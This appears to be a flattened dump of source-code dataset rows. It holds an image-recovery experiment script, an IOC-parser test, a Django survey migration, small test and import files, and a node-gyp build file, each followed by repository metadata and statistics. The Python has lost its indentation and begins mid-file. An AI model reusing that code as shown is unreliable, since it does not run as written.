torch.backends.cudnn.deterministic = True
torch.backends.cudnn.benchmark = False
os.makedirs(BASE_DIR, exist_ok=True)
def reset_gen():
if args.model.startswith('began'):
gen = Generator128(64)
if 'untrained' not in args.model:
gen = load_trained_net(gen, (
'./checkpoints/celeba_began.withskips.bs32.cosine.min=0.25'
'.n_cuts=0/gen_ckpt.49.pt'))
gen = gen.eval().to(DEVICE)
img_size = 128
elif args.model.startswith('beta_vae'):
gen = VAE()
if 'untrained' not in args.model:
t = torch.load(
'./vae_checkpoints/vae_bs=128_beta=0.1/epoch_19.pt')
gen.load_state_dict(t)
gen = gen.eval().to(DEVICE)
gen = gen.decoder
img_size = 128
elif args.model.startswith('biggan'):
gen = BigGanSkip().to(DEVICE)
img_size = 512
elif args.model.startswith('dcgan'):
gen = dcgan_generator()
if 'untrained' not in args.model:
t = torch.load(
('./dcgan_checkpoints/netG.epoch_24.n_cuts_0.bs_64'
'.b1_0.5.lr_0.0002.pt'))
gen.load_state_dict(t)
gen = gen.eval().to(DEVICE)
img_size = 64
elif args.model.startswith('vanilla_vae'):
gen = VAE()
if 'untrained' not in args.model:
t = torch.load(
'./vae_checkpoints/vae_bs=128_beta=1.0/epoch_19.pt')
gen.load_state_dict(t)
gen = gen.eval().to(DEVICE)
gen = gen.decoder
img_size = 128
else:
raise NotImplementedError()
return gen, img_size
gen, img_size = reset_gen()
img_shape = (3, img_size, img_size)
metadata = recovery_settings[args.model]
n_cuts_list = metadata['n_cuts_list']
del (metadata['n_cuts_list'])
z_init_mode_list = metadata['z_init_mode']
limit_list = metadata['limit']
assert len(z_init_mode_list) == len(limit_list)
del (metadata['z_init_mode'])
del (metadata['limit'])
forwards = forward_models[args.model]
data_split = Path(args.img_dir).name
for img_name in tqdm(sorted(os.listdir(args.img_dir)),
desc='Images',
leave=True,
disable=args.disable_tqdm):
# Load image and get filename without extension
# If untrained, reset generator for every image
if "untrained" in args.model:
gen, _ = reset_gen()
orig_img = load_target_image(os.path.join(args.img_dir, img_name),
img_size).to(DEVICE)
img_basename, _ = os.path.splitext(img_name)
for n_cuts in tqdm(n_cuts_list,
desc='N_cuts',
leave=False,
disable=args.disable_tqdm):
metadata['n_cuts'] = n_cuts
for i, (f, f_args_list) in enumerate(
tqdm(forwards.items(),
desc='Forwards',
leave=False,
disable=args.disable_tqdm)):
for f_args in tqdm(f_args_list,
desc=f'{f} Args',
leave=False,
disable=args.disable_tqdm):
f_args['img_shape'] = img_shape
forward_model = get_forward_model(f, **f_args)
for z_init_mode, limit in zip(
tqdm(z_init_mode_list,
desc='z_init_mode',
leave=False), limit_list):
metadata['z_init_mode'] = z_init_mode
metadata['limit'] = limit
# Before doing recovery, check if results already exist
# and possibly skip
recovered_name = 'recovered.pt'
results_folder = get_results_folder(
image_name=img_basename,
model=args.model,
n_cuts=n_cuts,
split=data_split,
forward_model=forward_model,
recovery_params=dict_to_str(metadata),
base_dir=BASE_DIR)
os.makedirs(results_folder, exist_ok=True)
recovered_path = results_folder / recovered_name
if os.path.exists(
recovered_path) and not args.overwrite:
print(
f'{recovered_path} already exists, skipping...'
)
continue
if args.run_name is not None:
current_run_name = (
f'{img_basename}.n_cuts={n_cuts}'
f'.{forward_model}.z_lr={metadata["z_lr"]}'
f'.z_init={z_init_mode}.limit={limit}'
f'.{args.run_name}')
else:
current_run_name = None
recovered_img, distorted_img, _ = recover(
orig_img, gen, metadata['optimizer'], n_cuts,
forward_model, z_init_mode, limit,
metadata['z_lr'], metadata['n_steps'],
metadata['restarts'], args.run_dir,
current_run_name, args.disable_tqdm)
# Make images folder
img_folder = get_images_folder(split=data_split,
image_name=img_basename,
img_size=img_size,
base_dir=BASE_DIR)
os.makedirs(img_folder, exist_ok=True)
# Save original image if needed
original_img_path = img_folder / 'original.pt'
if not os.path.exists(original_img_path):
torch.save(orig_img, original_img_path)
# Save distorted image if needed
if forward_model.viewable:
distorted_img_path = img_folder / f'{forward_model}.pt'
if not os.path.exists(distorted_img_path):
torch.save(distorted_img, distorted_img_path)
# Save recovered image and metadata
torch.save(recovered_img, recovered_path)
pickle.dump(
metadata,
open(results_folder / 'metadata.pkl', 'wb'))
p = psnr(recovered_img, orig_img)
pickle.dump(p, open(results_folder / 'psnr.pkl', 'wb'))
def iagan_images(args):
if args.set_seed:
torch.manual_seed(0)
np.random.seed(0)
torch.backends.cudnn.deterministic = True
torch.backends.cudnn.benchmark = False
os.makedirs(BASE_DIR, exist_ok=True)
def reset_gen():
if args.model in ['iagan_began_cs']:
gen = Generator128(64)
gen = load_trained_net(
gen,
('./checkpoints/celeba_began.withskips.bs32.cosine.min=0.25'
'.n_cuts=0/gen_ckpt.49.pt'))
gen = gen.eval().to(DEVICE)
img_size = 128
elif args.model in ['iagan_dcgan_cs']:
gen = dcgan_generator()
t = torch.load(('./dcgan_checkpoints/netG.epoch_24.n_cuts_0.bs_64'
'.b1_0.5.lr_0.0002.pt'))
gen.load_state_dict(t)
gen = gen.eval().to(DEVICE)
img_size = 64
elif args.model in ['iagan_vanilla_vae_cs']:
gen = VAE()
t = torch.load('./vae_checkpoints/vae_bs=128_beta=1.0/epoch_19.pt')
gen.load_state_dict(t)
gen = gen.eval().to(DEVICE)
gen = gen.decoder
img_size = 128
else:
raise NotImplementedError()
return gen, img_size
metadata = recovery_settings[args.model]
z_init_mode_list = metadata['z_init_mode']
limit_list = metadata['limit']
assert len(z_init_mode_list) == len(limit_list)
del (metadata['z_init_mode'])
del (metadata['limit'])
forwards = forward_models[args.model]
data_split = Path(args.img_dir).name
for img_name in tqdm(sorted(os.listdir(args.img_dir)),
desc='Images',
leave=True,
disable=args.disable_tqdm):
# Reset generator weights between each image
gen, img_size = reset_gen()
img_shape = (3, img_size, img_size)
# Load image and get filename without extension
orig_img = load_target_image(os.path.join(args.img_dir, img_name),
img_size).to(DEVICE)
img_basename, _ = os.path.splitext(img_name)
for i, (f, f_args_list) in enumerate(
tqdm(forwards.items(),
desc='Forwards',
leave=False,
disable=args.disable_tqdm)):
for f_args in tqdm(f_args_list,
desc=f'{f} Args',
leave=False,
disable=args.disable_tqdm):
f_args['img_shape'] = img_shape
forward_model = get_forward_model(f, **f_args)
for z_init_mode, limit in zip(
tqdm(z_init_mode_list, desc='z_init_mode',
leave=False), limit_list):
metadata['z_init_mode'] = z_init_mode
metadata['limit'] = limit
# Before doing recovery, check if results already exist
# and possibly skip
recovered_name = 'recovered.pt'
results_folder = get_results_folder(
image_name=img_basename,
model=args.model,
n_cuts=0, # NOTE - this field is unused for iagan
split=data_split,
forward_model=forward_model,
recovery_params=dict_to_str(metadata),
base_dir=BASE_DIR)
os.makedirs(results_folder, exist_ok=True)
recovered_path = results_folder / recovered_name
if os.path.exists(recovered_path) and not args.overwrite:
print(f'{recovered_path} already exists, skipping...')
continue
if args.run_name is not None:
current_run_name = (
f'{img_basename}'
f'.{forward_model}'
f'.z_steps1={metadata["z_steps1"]}'
f'.z_steps2={metadata["z_steps2"]}'
f'.z_lr1={metadata["z_lr1"]}'
f'.z_lr2={metadata["z_lr2"]}'
f'.model_lr={metadata["model_lr"]}'
f'.z_init={z_init_mode}.limit={limit}'
f'.{args.run_name}')
else:
current_run_name = None
recovered_img, distorted_img, _ = iagan_recover(
orig_img, gen, forward_model, metadata['optimizer'],
z_init_mode, limit, metadata['z_lr1'],
metadata['z_lr2'], metadata['model_lr'],
metadata['z_steps1'], metadata['z_steps2'],
metadata['restarts'], args.run_dir, current_run_name,
args.disable_tqdm)
# Make images folder
img_folder = get_images_folder(split=data_split,
image_name=img_basename,
img_size=img_size,
base_dir=BASE_DIR)
os.makedirs(img_folder, exist_ok=True)
# Save original image if needed
original_img_path = img_folder / 'original.pt'
if not os.path.exists(original_img_path):
torch.save(orig_img, original_img_path)
# Save distorted image if needed
if forward_model.viewable:
distorted_img_path = img_folder / f'{forward_model}.pt'
if not os.path.exists(distorted_img_path):
torch.save(distorted_img, distorted_img_path)
# Save recovered image and metadata
torch.save(recovered_img, recovered_path)
pickle.dump(metadata,
open(results_folder / 'metadata.pkl', 'wb'))
p = psnr(recovered_img, orig_img)
pickle.dump(p, open(results_folder / 'psnr.pkl', 'wb'))
def mgan_images(args):
if args.set_seed:
torch.manual_seed(0)
np.random.seed(0)
torch.backends.cudnn.deterministic = True
torch.backends.cudnn.benchmark = False
os.makedirs(BASE_DIR, exist_ok=True)
if args.model in ['mgan_began_cs']:
gen = Generator128(64)
gen = load_trained_net(
gen, ('./checkpoints/celeba_began.withskips.bs32.cosine.min=0.25'
'.n_cuts=0/gen_ckpt.49.pt'))
gen = gen.eval().to(DEVICE)
img_size = 128
elif args.model in ['mgan_vanilla_vae_cs']:
gen = VAE()
t = torch.load('./vae_checkpoints/vae_bs=128_beta=1.0/epoch_19.pt')
gen.load_state_dict(t)
gen = gen.eval().to(DEVICE)
gen = gen.decoder
img_size = 128
elif args.model in ['mgan_dcgan_cs']:
gen = dcgan_generator()
t = torch.load(('./dcgan_checkpoints/netG.epoch_24.n_cuts_0.bs_64'
'.b1_0.5.lr_0.0002.pt'))
gen.load_state_dict(t)
gen = gen.eval().to(DEVICE)
img_size = 64
else:
raise NotImplementedError()
img_shape = (3, img_size, img_size)
metadata = recovery_settings[args.model]
n_cuts_list = metadata['n_cuts_list']
del (metadata['n_cuts_list'])
z_init_mode_list = metadata['z_init_mode']
limit_list = metadata['limit']
assert len(z_init_mode_list) == len(limit_list)
del (metadata['z_init_mode'])
del (metadata['limit'])
forwards = forward_models[args.model]
data_split = Path(args.img_dir).name
for img_name in tqdm(sorted(os.listdir(args.img_dir)),
desc='Images',
leave=True,
disable=args.disable_tqdm):
# Load image and get filename without extension
orig_img = load_target_image(os.path.join(args.img_dir, img_name),
img_size).to(DEVICE)
img_basename, _ = os.path.splitext(img_name)
for n_cuts in tqdm(n_cuts_list,
desc='N_cuts',
leave=False,
disable=args.disable_tqdm):
metadata['n_cuts'] = n_cuts
for i, (f, f_args_list) in enumerate(
tqdm(forwards.items(),
desc='Forwards',
leave=False,
disable=args.disable_tqdm)):
for f_args in tqdm(f_args_list,
desc=f'{f} Args',
leave=False,
disable=args.disable_tqdm):
f_args['img_shape'] = img_shape
forward_model = get_forward_model(f, **f_args)
for z_init_mode, limit in zip(
tqdm(z_init_mode_list,
desc='z_init_mode',
leave=False), limit_list):
metadata['z_init_mode'] = z_init_mode
metadata['limit'] = limit
# Before doing recovery, check if results already exist
# and possibly skip
recovered_name = 'recovered.pt'
results_folder = get_results_folder(
image_name=img_basename,
model=args.model,
n_cuts=n_cuts,
split=data_split,
forward_model=forward_model,
recovery_params=dict_to_str(metadata),
base_dir=BASE_DIR)
os.makedirs(results_folder, exist_ok=True)
recovered_path = results_folder / recovered_name
if os.path.exists(
recovered_path) and not args.overwrite:
print(
f'{recovered_path} already exists, skipping...'
)
continue
if args.run_name is not None:
current_run_name = (
f'{img_basename}.{forward_model}'
f'.{dict_to_str(metadata)}'
f'.{args.run_name}')
else:
current_run_name = None
recovered_img, distorted_img, _ = mgan_recover(
orig_img, gen, n_cuts, forward_model,
metadata['optimizer'], z_init_mode, limit,
metadata['z_lr'], metadata['n_steps'],
metadata['z_number'], metadata['restarts'],
args.run_dir, current_run_name, args.disable_tqdm)
# Make images folder
img_folder = get_images_folder(split=data_split,
image_name=img_basename,
img_size=img_size,
base_dir=BASE_DIR)
os.makedirs(img_folder, exist_ok=True)
# Save original image if needed
original_img_path = img_folder / 'original.pt'
if not os.path.exists(original_img_path):
torch.save(orig_img, original_img_path)
# Save distorted image if needed
if forward_model.viewable:
distorted_img_path = img_folder / f'{forward_model}.pt'
if not os.path.exists(distorted_img_path):
torch.save(distorted_img, distorted_img_path)
# Save recovered image and metadata
torch.save(recovered_img, recovered_path)
pickle.dump(
metadata,
open(results_folder / 'metadata.pkl', 'wb'))
p = psnr(recovered_img, orig_img)
pickle.dump(p, open(results_folder / 'psnr.pkl', 'wb'))
def deep_decoder_images(args):
if args.set_seed:
torch.manual_seed(0)
np.random.seed(0)
torch.backends.cudnn.deterministic = True
torch.backends.cudnn.benchmark = False
os.makedirs(BASE_DIR, exist_ok=True)
metadata = recovery_settings[args.model]
forwards = forward_models[args.model]
data_split = Path(args.img_dir).name
for img_name in tqdm(sorted(os.listdir(args.img_dir)),
desc='Images',
leave=True,
disable=args.disable_tqdm):
orig_img = load_target_image(os.path.join(args.img_dir, img_name),
metadata['img_size']).to(DEVICE)
img_basename, _ = os.path.splitext(img_name)
for f, f_args_list in tqdm(forwards.items(),
desc='Forwards',
leave=False,
disable=args.disable_tqdm):
for f_args in tqdm(f_args_list,
desc=f'{f} Args',
leave=False,
disable=args.disable_tqdm):
f_args['img_shape'] = (3, metadata['img_size'],
metadata['img_size'])
forward_model = get_forward_model(f, **f_args)
recovered_name = 'recovered.pt'
results_folder = get_results_folder(
image_name=img_basename,
model=args.model,
n_cuts=0, # NOTE - this field is unused for iagan
split=data_split,
forward_model=forward_model,
recovery_params=dict_to_str(metadata),
base_dir=BASE_DIR)
os.makedirs(results_folder, exist_ok=True)
recovered_path = results_folder / recovered_name
if os.path.exists(recovered_path) and not args.overwrite:
print(f'{recovered_path} already exists, skipping...')
continue
if args.run_name is not None:
current_run_name = (f'{img_basename}' +
f'.{forward_model}' +
dict_to_str(metadata) +
f'.{args.run_name}')
else:
current_run_name = None
recovered_img, distorted_img, _ = deep_decoder_recover(
orig_img,
forward_model=forward_model,
optimizer=metadata['optimizer'],
num_filters=metadata['num_filters'],
depth=metadata['depth'],
lr=metadata['lr'],
img_size=metadata['img_size'],
steps=metadata['steps'],
restarts=metadata['restarts'],
run_dir=args.run_dir,
run_name=current_run_name,
disable_tqdm=args.disable_tqdm)
# Make images folder
img_folder = get_images_folder(split=data_split,
image_name=img_basename,
img_size=metadata['img_size'],
base_dir=BASE_DIR)
os.makedirs(img_folder, exist_ok=True)
# Save original image if needed
original_img_path = img_folder / 'original.pt'
if not os.path.exists(original_img_path):
torch.save(orig_img, original_img_path)
# Save distorted image if needed
if forward_model.viewable:
distorted_img_path = img_folder / f'{forward_model}.pt'
if not os.path.exists(distorted_img_path):
torch.save(distorted_img, distorted_img_path)
# Save recovered image and metadata
torch.save(recovered_img, recovered_path)
pickle.dump(metadata,
open(results_folder / 'metadata.pkl', 'wb'))
p = psnr(recovered_img, orig_img)
pickle.dump(p, open(results_folder / 'psnr.pkl', 'wb'))
if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument('--img_dir', required=True, help='')
p.add_argument('--model', required=True)
p.add_argument('--run_dir', default=None)
p.add_argument('--run_name', default=None)
p.add_argument('--disable_tqdm', action='store_true')
p.add_argument('--overwrite',
action='store_true',
help='Set flag to overwrite pre-existing files')
p.add_argument('--set_seed', action='store_true')
args = p.parse_args()
if args.model in [
'began_cs',
'began_cs_n_cuts',
'began_cs_other_init',
'began_inv',
'began_noop',
'began_opt_error_fake_imgs',
'began_untrained_cs',
'began_restarts_cs',
'beta_vae_cs',
'beta_vae_inv',
'beta_vae_noop',
'biggan_inv',
'biggan_noop',
'dcgan_cs',
'dcgan_cs_n_cuts',
'dcgan_restarts_cs',
'dcgan_inv',
'dcgan_noop',
'dcgan_untrained_cs',
'vanilla_vae_cs',
'vanilla_vae_cs_n_cuts',
'vanilla_vae_inv',
'vanilla_vae_noop',
'vanilla_vae_untrained_cs',
]:
gan_images(args)
elif args.model in [
'lasso-dct-64',
'lasso-dct-128',
]:
lasso_cs_images(args)
elif args.model in [
'iagan_dcgan_cs',
'iagan_began_cs',
'iagan_vanilla_vae_cs',
]:
iagan_images(args)
elif args.model in [
'mgan_began_cs',
'mgan_vanilla_vae_cs',
'mgan_dcgan_cs',
]:
mgan_images(args)
elif args.model in [
'deep_decoder_64_cs',
'deep_decoder_128_cs',
]:
deep_decoder_images(args)
else:
raise NotImplementedError()
| 41.617931 | 83 | 0.498359 | 3,167 | 30,173 | 4.456899 | 0.070414 | 0.020333 | 0.020404 | 0.024938 | 0.813886 | 0.800142 | 0.792065 | 0.781155 | 0.775841 | 0.761034 | 0 | 0.010542 | 0.415272 | 30,173 | 724 | 84 | 41.675414 | 0.789492 | 0.038942 | 0 | 0.712121 | 0 | 0 | 0.108487 | 0.034355 | 0 | 0 | 0 | 0 | 0.006734 | 1 | 0.011785 | false | 0 | 0.030303 | 0 | 0.045455 | 0.008418 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f9102b22215c2f8db084f26f89100a511c1f8105 | 858 | py | Python | test.py | TURROKS/IOC-Parser | 2c6d0fd049fbf3ba00766459ad19cde10aa8e6a8 | [
"Apache-2.0"
] | null | null | null | test.py | TURROKS/IOC-Parser | 2c6d0fd049fbf3ba00766459ad19cde10aa8e6a8 | [
"Apache-2.0"
] | null | null | null | test.py | TURROKS/IOC-Parser | 2c6d0fd049fbf3ba00766459ad19cde10aa8e6a8 | [
"Apache-2.0"
] | null | null | null | from modules import email_extract,file_extract,hash_extract,ip_extract,url_extract
def main():
with open('/Users/Mario/Documents/Git/IOC-Parser/tests/output.txt', 'w') as out:
with open('/Users/Mario/Documents/Git/IOC-Parser/tests/test.txt', 'r') as inp:
hash_extract.main(inp,out)
with open('/Users/Mario/Documents/Git/IOC-Parser/tests/test.txt', 'r') as inp:
ip_extract.main(inp,out)
with open('/Users/Mario/Documents/Git/IOC-Parser/tests/test.txt', 'r') as inp:
url_extract.main(inp,out)
with open('/Users/Mario/Documents/Git/IOC-Parser/tests/test.txt', 'r') as inp:
email_extract.main(inp,out)
with open('/Users/Mario/Documents/Git/IOC-Parser/tests/test.txt', 'r') as inp:
file_extract.main(inp,out)
if __name__ == '__main__':
main()
| 30.642857 | 86 | 0.648019 | 128 | 858 | 4.203125 | 0.234375 | 0.089219 | 0.144981 | 0.200743 | 0.743494 | 0.743494 | 0.743494 | 0.743494 | 0.743494 | 0.66171 | 0 | 0 | 0.193473 | 858 | 27 | 87 | 31.777778 | 0.777457 | 0 | 0 | 0.333333 | 0 | 0 | 0.38273 | 0.366394 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | true | 0 | 0.066667 | 0 | 0.133333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
00889a2dce5b11e8959cdc511903a61108293245 | 4,710 | py | Python | surveys/migrations/0001_initial.py | darkismus/kompassi | 35dea2c7af2857a69cae5c5982b48f01ba56da1f | [
"CC-BY-3.0"
] | 13 | 2015-11-29T12:19:12.000Z | 2021-02-21T15:42:11.000Z | surveys/migrations/0001_initial.py | darkismus/kompassi | 35dea2c7af2857a69cae5c5982b48f01ba56da1f | [
"CC-BY-3.0"
] | 23 | 2015-04-29T19:43:34.000Z | 2021-02-10T05:50:17.000Z | surveys/migrations/0001_initial.py | darkismus/kompassi | 35dea2c7af2857a69cae5c5982b48f01ba56da1f | [
"CC-BY-3.0"
] | 11 | 2015-09-20T18:59:00.000Z | 2020-02-07T08:47:34.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.9.12 on 2017-03-20 19:19
from django.conf import settings
import django.contrib.postgres.fields.jsonb
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('core', '0023_auto_20160704_2155'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='EventSurvey',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=255)),
('description', models.TextField(blank=True, default='')),
('is_active', models.BooleanField(default=True)),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('model', django.contrib.postgres.fields.jsonb.JSONField()),
('slug', models.CharField(help_text='Tekninen nimi eli "slug" n\xe4kyy URL-osoitteissa. Sallittuja merkkej\xe4 ovat pienet kirjaimet, numerot ja v\xe4liviiva. Teknist\xe4 nime\xe4 ei voi muuttaa luomisen j\xe4lkeen.', max_length=255, validators=[django.core.validators.RegexValidator(message='Tekninen nimi saa sis\xe4lt\xe4\xe4 vain pieni\xe4 kirjaimia, numeroita sek\xe4 v\xe4liviivoja.', regex='[a-z0-9-]+')], verbose_name='Tekninen nimi')),
('event', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='core.Event')),
],
),
migrations.CreateModel(
name='EventSurveyResult',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('model', django.contrib.postgres.fields.jsonb.JSONField()),
('author_ip_address', models.CharField(blank=True, default='', max_length=48, verbose_name='IP address')),
('author', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
('survey', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='surveys.EventSurvey')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='GlobalSurvey',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=255)),
('description', models.TextField(blank=True, default='')),
('is_active', models.BooleanField(default=True)),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('model', django.contrib.postgres.fields.jsonb.JSONField()),
('slug', models.CharField(help_text='Tekninen nimi eli "slug" n\xe4kyy URL-osoitteissa. Sallittuja merkkej\xe4 ovat pienet kirjaimet, numerot ja v\xe4liviiva. Teknist\xe4 nime\xe4 ei voi muuttaa luomisen j\xe4lkeen.', max_length=255, unique=True, validators=[django.core.validators.RegexValidator(message='Tekninen nimi saa sis\xe4lt\xe4\xe4 vain pieni\xe4 kirjaimia, numeroita sek\xe4 v\xe4liviivoja.', regex='[a-z0-9-]+')], verbose_name='Tekninen nimi')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='GlobalSurveyResult',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('model', django.contrib.postgres.fields.jsonb.JSONField()),
('author_ip_address', models.CharField(blank=True, default='', max_length=48, verbose_name='IP address')),
('author', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
('survey', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='surveys.GlobalSurvey')),
],
options={
'abstract': False,
},
),
migrations.AlterUniqueTogether(
name='eventsurvey',
unique_together=set([('event', 'slug')]),
),
]
| 55.411765 | 473 | 0.623567 | 506 | 4,710 | 5.681818 | 0.266798 | 0.030609 | 0.029217 | 0.045913 | 0.808 | 0.79687 | 0.765565 | 0.765565 | 0.765565 | 0.765565 | 0 | 0.021413 | 0.236518 | 4,710 | 84 | 474 | 56.071429 | 0.778087 | 0.014437 | 0 | 0.626667 | 1 | 0.053333 | 0.217073 | 0.004958 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.066667 | 0 | 0.12 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
00d53a0d8a6b0de7b907808d8bb6cd27b26455df | 99 | py | Python | level_2/Hey, I Already Did That!/run.py | michaeltmk/google_foobar | bac1c921b5c782ccccf0ff42e5195c280a0b973a | [
"MIT"
] | null | null | null | level_2/Hey, I Already Did That!/run.py | michaeltmk/google_foobar | bac1c921b5c782ccccf0ff42e5195c280a0b973a | [
"MIT"
] | null | null | null | level_2/Hey, I Already Did That!/run.py | michaeltmk/google_foobar | bac1c921b5c782ccccf0ff42e5195c280a0b973a | [
"MIT"
] | null | null | null | import solution
print(solution.solution('1211',10) == 1)
print(solution.solution('210022',3) == 3)
| 24.75 | 41 | 0.717172 | 14 | 99 | 5.071429 | 0.571429 | 0.366197 | 0.591549 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164835 | 0.080808 | 99 | 3 | 42 | 33 | 0.615385 | 0 | 0 | 0 | 0 | 0 | 0.10101 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0.666667 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 7 |
daf68611279431e26d52c4dc15385425888effbb | 113 | py | Python | autoalign/segment/__init__.py | pltrdy/autoalign | 9b17f36282f9be0bbf423840af88dce501b9070f | [
"MIT"
] | 6 | 2020-07-16T01:13:55.000Z | 2020-07-21T01:49:14.000Z | autoalign/segment/__init__.py | pltrdy/autoalign | 9b17f36282f9be0bbf423840af88dce501b9070f | [
"MIT"
] | null | null | null | autoalign/segment/__init__.py | pltrdy/autoalign | 9b17f36282f9be0bbf423840af88dce501b9070f | [
"MIT"
] | 1 | 2020-06-24T11:55:40.000Z | 2020-06-24T11:55:40.000Z | from autoalign.segment.segmenter import Segmenter
from autoalign.segment.simple_segmenter import SimpleSegmenter
| 37.666667 | 62 | 0.893805 | 13 | 113 | 7.692308 | 0.538462 | 0.26 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070796 | 113 | 2 | 63 | 56.5 | 0.952381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
9713031cbb3e092f6152f31a2f1337b2a76b88b2 | 10,840 | gyp | Python | binding.gyp | StephanGeorg/route-annotator | 10ffca86002328ba211ca8d7ed79d5e1bdf2a14c | [
"BSD-3-Clause"
] | 29 | 2016-04-26T09:48:31.000Z | 2022-03-21T12:34:42.000Z | binding.gyp | StephanGeorg/route-annotator | 10ffca86002328ba211ca8d7ed79d5e1bdf2a14c | [
"BSD-3-Clause"
] | 45 | 2016-05-18T23:12:56.000Z | 2022-01-03T15:07:55.000Z | binding.gyp | StephanGeorg/route-annotator | 10ffca86002328ba211ca8d7ed79d5e1bdf2a14c | [
"BSD-3-Clause"
] | 15 | 2017-03-06T00:21:42.000Z | 2021-07-26T06:43:23.000Z | {
'includes': [ 'common.gypi' ],
'variables': {
'error_on_warnings%':'true',
# includes we don't want warnings for.
# As a variable to make easy to pass to
# cflags (linux) and xcode (mac)
'system_includes': [
"-isystem <(module_root_dir)/<!(node -e \"require('nan')\")",
'-isystem <(module_root_dir)/mason_packages/.link/include/'
]
},
'targets': [
{
'target_name': 'action_before_build',
'type': 'none',
'hard_dependency': 1,
'actions': [
{
'action_name': 'install_mason',
'inputs': ['./install_mason.sh'],
'outputs': ['./mason_packages'],
'action': ['./install_mason.sh']
}
]
},
{
'target_name': 'annotator',
"type": "static_library",
'hard_dependency': 1,
'sources': [
'./src/annotator.cpp',
'./src/database.cpp',
'./src/extractor.cpp',
'./src/segment_speed_map.cpp',
'./src/way_speed_map.cpp'
],
'cflags': [
'<@(system_includes)'
],
'defines': [
'BOOST_MATH_DISABLE_FLOAT128=1'
],
'xcode_settings': {
'OTHER_CPLUSPLUSFLAGS': [
'<@(system_includes)'
],
'GCC_ENABLE_CPP_RTTI': 'YES',
'GCC_ENABLE_CPP_EXCEPTIONS': 'YES',
'MACOSX_DEPLOYMENT_TARGET':'10.8',
'CLANG_CXX_LIBRARY': 'libc++',
'CLANG_CXX_LANGUAGE_STANDARD':'c++14',
'GCC_VERSION': 'com.apple.compilers.llvm.clang.1_0'
}
},
{
'target_name': '<(module_name)',
'dependencies': [ 'action_before_build', 'annotator' ],
'product_dir': '<(module_path)',
'sources': [
'./src/main_bindings.cpp',
'./src/nodejs_bindings.cpp',
'./src/segment_bindings.cpp',
'./src/way_bindings.cpp'
],
'conditions': [
['error_on_warnings == "true"', {
'cflags_cc' : [ '-Werror' ],
'xcode_settings': {
'OTHER_CPLUSPLUSFLAGS': [ '-Werror' ]
}
}]
],
"libraries": [
'<(module_root_dir)/mason_packages/.link/lib/libbz2.a',
'<(module_root_dir)/mason_packages/.link/lib/libexpat.a',
'<(module_root_dir)/mason_packages/.link/lib/libboost_iostreams.a',
# we link to zlib here to fix this error: ../src/extractor.cpp:(.text._ZN6osmium2io16GzipDecompressor4readEv[_ZN6osmium2io16GzipDecompressor4readEv]+0x46): undefined reference to `gzoffset64'
# because osmium needs a custom zlib that is different that what is statically linked inside node and available on default ubuntu (which don't have gzoffset64`
'<(module_root_dir)/mason_packages/.link/lib/libz.a'
],
'cflags': [
'<@(system_includes)'
],
'defines': [
'BOOST_MATH_DISABLE_FLOAT128=1'
],
